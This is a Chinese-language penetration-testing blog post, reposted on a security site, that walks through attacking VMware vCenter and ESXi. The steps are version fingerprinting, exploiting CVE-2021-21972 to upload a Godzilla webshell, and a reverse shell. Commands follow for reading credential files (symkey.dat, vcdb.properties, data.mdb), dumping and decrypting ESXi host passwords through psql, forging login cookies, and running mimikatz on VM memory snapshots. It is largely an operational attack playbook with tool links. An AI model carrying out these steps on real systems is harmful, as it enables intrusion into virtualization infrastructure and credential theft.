【云安全初探】虚拟化 Vmware vSphere相关利用总结

admin 2024年9月22日04:30:35评论25 views字数 4656阅读15分31秒阅读模式

Vmware vSphere相关利用总结

【云安全初探】虚拟化 Vmware vSphere相关利用总结

1.1 Vmware vSphere相关

此文章参考:https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-wu-zhang-si-you-yun-yu-xu-ni-hua-gong-fang/vmvare-vsphere

而且大体内容网上有很多文章了也,但是有差异的地方是,加上了我实践过程中遇到问题的一些比较好的解决思路和方法。例如交互式shell导致的问题和一些更为便捷的利用思路。

所涉及到的相关工具下载--后台回复:vcenter

1.1.1 基础知识和搭建

VMware有很多产品,例如Workstation Pro:面向Windows虚拟化,也就是我们常用的vm虚拟机;Fusion for Mac:面向Mac虚拟化;而Vmware vSphere是服务器虚拟化平台

vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。

vSphere有两个核心组件:

  • ESXi
    • 用于创建并运行虚拟机和虚拟设备的虚拟化平台
  • vCenter
    • 用于管理网络中连接的多个主机,并将主机资源池化。

vSphere Client和vSphere Web Client:用于管理vCenter Server。vCenter Server数据库:存储资源清册项、安全角色、资源池、性能数据和其他信息,支持Oracle和Microsoft SQL Server数据库。vCenter单一登录(SSO):允许针对多个用户存储库(如Active Directory或Open LDAP)进行身份验证。托管主机:ESXi主机及其各自的虚拟机。

对应关系如下图

【云安全初探】虚拟化 Vmware vSphere相关利用总结

安装后登录用[email protected]

1.1.2 相关CVE和利用

查看Vcenter版本信息

GET请求

/sdk/vimServiceVersions.xml

POST请求

地址:/sdk/


<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope
    xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

    <soap:Header>
        <operationID>00000001-00000001</operationID>
    </soap:Header>
    <soap:Body>
        <RetrieveServiceContent
            xmlns="urn:internalvim25">

            <_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this>
        </RetrieveServiceContent>
    </soap:Body>
</soap:Envelope>

相关CVE

下面列举一些、具体利用什么的网上很全了我这里就不多做赘述了

CVE-2021-21972、CVE-2021-21985、CVE-2021-22005、vCenter < 6.0 S2-045

实战利用流程

获取版本并传webshell

假设存在一个vSphere

【云安全初探】虚拟化 Vmware vSphere相关利用总结

注意当我们用局域网的其它主机(攻击主机)访问这个地址的时候,可以访问到下面的地址

【云安全初探】虚拟化 Vmware vSphere相关利用总结

但是你访问/ui路径的时候它重定向到这里

【云安全初探】虚拟化 Vmware vSphere相关利用总结

因为我的攻击主机没有加到2016的网络中,用的不是它的dns解析,所以肯定找不到这个地址,我们只需要配置hosts即可,这样就可以访问通了

【云安全初探】虚拟化 Vmware vSphere相关利用总结

我们仍然可以根据/sdk/vimServiceVersions.xml来获取版本信息

【云安全初探】虚拟化 Vmware vSphere相关利用总结

或采用post方式

【云安全初探】虚拟化 Vmware vSphere相关利用总结

然后可以用afrog或nuclei去扫描,这个版本存在21972漏洞,利用https://github.com/Schira4396/VcenterKiller

【云安全初探】虚拟化 Vmware vSphere相关利用总结

上传哥斯拉webshell,然后哥斯拉连接的时候如果乱码,可以改编码为gbk解决,成功连接且权限为system

【云安全初探】虚拟化 Vmware vSphere相关利用总结

获取center登录密码
通过重置密码获取(不推荐)
#Linux
/usr/lib/vmware-vmdir/bin/vdcadmintool
 
#
Windows
C:Program FilesVmwarevCenter Servervmdirdvdcadmintool.exe

这里直接通过哥斯拉的命令执行,执行失败,卡住且返回NULL

【云安全初探】虚拟化 Vmware vSphere相关利用总结
image-20240830104253118

我们可以通过在本地nc监听,然后利用哥斯拉Realcmd获取反弹shell,然后实际发现这样到最后输出重置后的密码那步时,也不并会输出

【云安全初探】虚拟化 Vmware vSphere相关利用总结【云安全初探】虚拟化 Vmware vSphere相关利用总结

这里有两种解决方案第一种是将内容重定向到文本,第二种其实就是第二次选择的时候,选0退出的时候它会显示密码

【云安全初探】虚拟化 Vmware vSphere相关利用总结

(如果不是默认vsphere.local可以用下面代码查看域)

#Linux
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost

#
windows
"C:Program FilesVMwarevCenter Servervmafddvmafd-cli.exe"  get-domain-name --server-name localhost

【云安全初探】虚拟化 Vmware vSphere相关利用总结

通过获取cookie登录

原理就是通过对data.mdb文件解密然后获取cookie,对应路径如下

#Linux
/storage/db/vmware-vmdir/data.mdb

#
windows
C:ProgramDataVMwarevCenterServerdatavmdirddata.mdb

解密脚本:https://github.com/horizon3ai/vcenter_saml_login

正常的利用是从服务器上拖data.mdb下来,然后用脚本跑,但是由于windwos的mdb文件过大不适合拖到本地,我这里是将脚本编译成exe(地址:https://github.com/likeNlong/exe_vcenter_saml_login/releases/tag/v1.0),上传到服务器解密,解密时间有点长要耐心等会,同理这里不建议直接webshell的命令去执行,而是像之前提到的利用Realcmd反弹后执行

【云安全初探】虚拟化 Vmware vSphere相关利用总结

然后去访问不加ui的地址,f12加上cookie

【云安全初探】虚拟化 Vmware vSphere相关利用总结

然后加上ui访问就可以了

【云安全初探】虚拟化 Vmware vSphere相关利用总结

获取Esxi账号密码
  1. 先拿对称加密秘钥
#Windows
type C:ProgramDataVMwarevCenterServercfgvmware-vpxsslsymkey.dat

#
Linux
cat /etc/vmware-vpx/ssl/symkey.dat

得到秘钥

【云安全初探】虚拟化 Vmware vSphere相关利用总结
image-20240830192616550
  1. 获取vcenter的postgresql数据库的明文账号和密码
#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties

#
Windows
type "C:ProgramDataVMwareVMware VirtualCentervcdb.properties"
type C:ProgramDataVMwarevCenterServercfgvmware-vpxvcdb.properties

拿到账号和密码

【云安全初探】虚拟化 Vmware vSphere相关利用总结

  1. 直接执行命令获取加密后的password
#psql默认存放位置
Windows: C:Program FilesVMwarevCenter ServervPostgresbinpsql.exe
Linux: /opt/vmware/vpostgres/9.3/bin/psql

#
查询
"C:Program FilesVMwarevCenter ServervPostgresbinpsql.exe" -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

==注意==

但是这里有遇到了一个问题就是交互式shell的问题,当我们正常执行这个数据库查询命令的时候,它会让我们输入密码,然后这里我试了webshell的命令执行模块和之前提到的Realcmd都是没有执行成功,于是改成如下命令,即可绕过交互式输入

#原理就是通过设置环境变量PGPASSWORD,用于在使用 PostgreSQL时自动提供数据库密码
set "PGPASSWORD=密码" && "C:Program FilesVMwarevCenter ServervPostgresbinpsql.exe" -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

至此我们执行命令成功后就将密码保存到文件中了

【云安全初探】虚拟化 Vmware vSphere相关利用总结

  1. 接下来我们可以通过脚本去进行解密,来获取vpxuser的账号密码,这个账户是vCenter为了和ESXi管理和通信自动创建的,然后就可以登录了

https://github.com/shmilylty/vhost_password_decrypt

symkey.dat为第一步获取的对称密钥,password.enc这个就是上一步拿到的加密后的password文件了,最后的password.txt这个就是生成文件的文件名了

【云安全初探】虚拟化 Vmware vSphere相关利用总结

当然这个密码不仅仅可以登录Esxi,在后面拼接host后利用该账号密码可以访问对应esxi的配置文件和日志文件

【云安全初探】虚拟化 Vmware vSphere相关利用总结

获取虚拟机权限

Linux虚拟机(不推荐)

只能单用户去修改密码,不过因为要重启服务器并且重置密码,所以并不推荐

windows虚拟机

windows虚拟机也有两种方法,第一种用pe,挂载PE,然后利用PE重置或绕过密码,不过这个也得重启所以不推荐

第二种方法就是利用快照然后读取内存中的密码(但是这个实际利用中并不十分好用,因为需要下载的文件太大),具体操作如下

  1. 先把对应虚拟机打个快照

【云安全初探】虚拟化 Vmware vSphere相关利用总结

  1. 然后去存储里面拿后缀分别以vmemvmsn结尾的文件

【云安全初探】虚拟化 Vmware vSphere相关利用总结

  1. 利用vmss2core-sb-8456865工具,将其转换为可用于分析的dmp文件

【云安全初探】虚拟化 Vmware vSphere相关利用总结

  1. 打开我们的dump文件

【云安全初探】虚拟化 Vmware vSphere相关利用总结

#内部加载mimilib
kd> .load C:UsersADesktopvmnxmimikatz_trunkx64mimilib.dll
#查看lsass进程
kd> !process 0 0 lsass.exe
#切换到该进程中
kd> .process /r /p fffffa80028f2400(替换成你自己的)
#抓取内存密码
kd> !mimikatz

结果

【云安全初探】虚拟化 Vmware vSphere相关利用总结

原文始发于微信公众号(小惜渗透):【云安全初探】虚拟化 Vmware vSphere相关利用总结

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月22日04:30:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【云安全初探】虚拟化 Vmware vSphere相关利用总结https://cn-sec.com/archives/3168789.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息